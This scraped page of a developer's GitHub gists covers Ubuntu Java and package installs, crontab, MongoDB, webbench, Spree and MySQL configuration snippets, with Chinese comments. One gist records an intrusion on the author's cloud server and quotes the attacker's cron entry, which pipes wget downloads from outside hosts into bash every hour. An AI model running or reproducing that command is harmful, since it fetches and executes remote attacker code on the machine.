Skip to content

Instantly share code, notes, and snippets.

#http://linuxg.net/how-to-install-oracle-java-jdk-678-on-ubuntu-13-04-12-10-12-04/
sudo apt-get purge openjdk*
sudo apt-get install software-properties-common
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
#sudo apt-get install oracle-java8-installer
sudo apt-get install oracle-java7-installer
#sudo apt-get install oracle-java6-installer
echo "install Ubuntu packages..."
sudo apt-get update
sudo apt-get install -y wget vim build-essential openssl libreadline6 libreadline6-dev libmysqlclient-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libxml2-dev libxslt-dev autoconf automake libtool imagemagick libmagickwand-dev libpcre3-dev nodejs
echo "---------------------------------------------------------------------------"
echo "---------------------------------------------------------------------------"
echo ""
echo ""
echo "Install RVM"
#m h dom mon dow user command
crontab -e
1 1 * * * ruby /home/ruby/data/autorun/ruby product_price.rb >> /home/ruby/data/autorun/log.log 2>&1
列出当前用户签定的任务: # crontab -l
删除当前用户签定的任务: # crontab -r
@sitoto
sitoto / 入侵
Created August 15, 2013 12:04
#一台云主机服务器被入侵,被人加了定时任务。。。
1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;
@sitoto
sitoto / dropDatabase.sh
Created August 14, 2013 06:50
如何删除mongodb数据库、collection、items
The best way is to do it is from the mongodb console:
> use mydb;
> db.dropDatabase();
# 删除collection
> db.temp.drop();
# 删除 product 这个collction下的所有数据
> db.products.remove()
@sitoto
sitoto / copyDatabases.sh
Created August 14, 2013 06:40
mongodb如何复制数据库;
You must run copydb or clone on the destination server.
#http://docs.mongodb.org/manual/tutorial/copy-databases-between-instances/
在目标主机上操作如下
db.copyDatabase( "test", "records", "db0.example.net" )
源地址: db0.example.net
源数据库:test
目标数据库:records
db.copyDatabase( "test", "records", "db0.example.net" , "username", "password")
@sitoto
sitoto / webbench.sh
Created August 13, 2013 08:31
webbench in ubuntu
#!/bin/bash
echo "install ctags"
sudo apt-get install ctags
echo "download webbench";
wget http://home.tiscali.cz/cz210552/distfiles/webbench-1.5.tar.gz
tar zxvf webbench-1.5.tar.gz
cd webbench-1.5/
make
sudo make install
@sitoto
sitoto / MongoDB(Master-Slave).sh
Last active December 20, 2015 20:29
From Single to Master-Slave $ ./mongo use admin db.shutdownServer()
mkdir -p data/masterdb
cd data/masterdb
======
#stop mongodb
sudo service mongodb stop
@sitoto
sitoto / spree2.0-install.sh
Last active December 20, 2015 19:09
install stable version of spree
gem install rails -v 3.2.14
gem install bundler
sudo apt-get install imagemagick
gem install spree_cmd
rails _3.2.14_ new mystore
cd mystore
vim Gemfile
#add the two line at bottom
@sitoto
sitoto / ubuntu-mysql.sh
Last active December 20, 2015 17:59
mysql; utf8;编码问题; move datadir; sudo gedit /etc/apparmor.d/usr.sbin.mysqld Look for lines beginning with /var/lib/mysql. Change /var/lib/mysql in the lines with the new path.sudo /etc/init.d/apparmor reload
http://stackoverflow.com/questions/3513773/change-mysql-default-character-set-to-utf8-in-my-cnf
To set the default to UTF-8, you want to add the following to my.cnf
[client]
default-character-set=utf8
[mysql]
default-character-set=utf8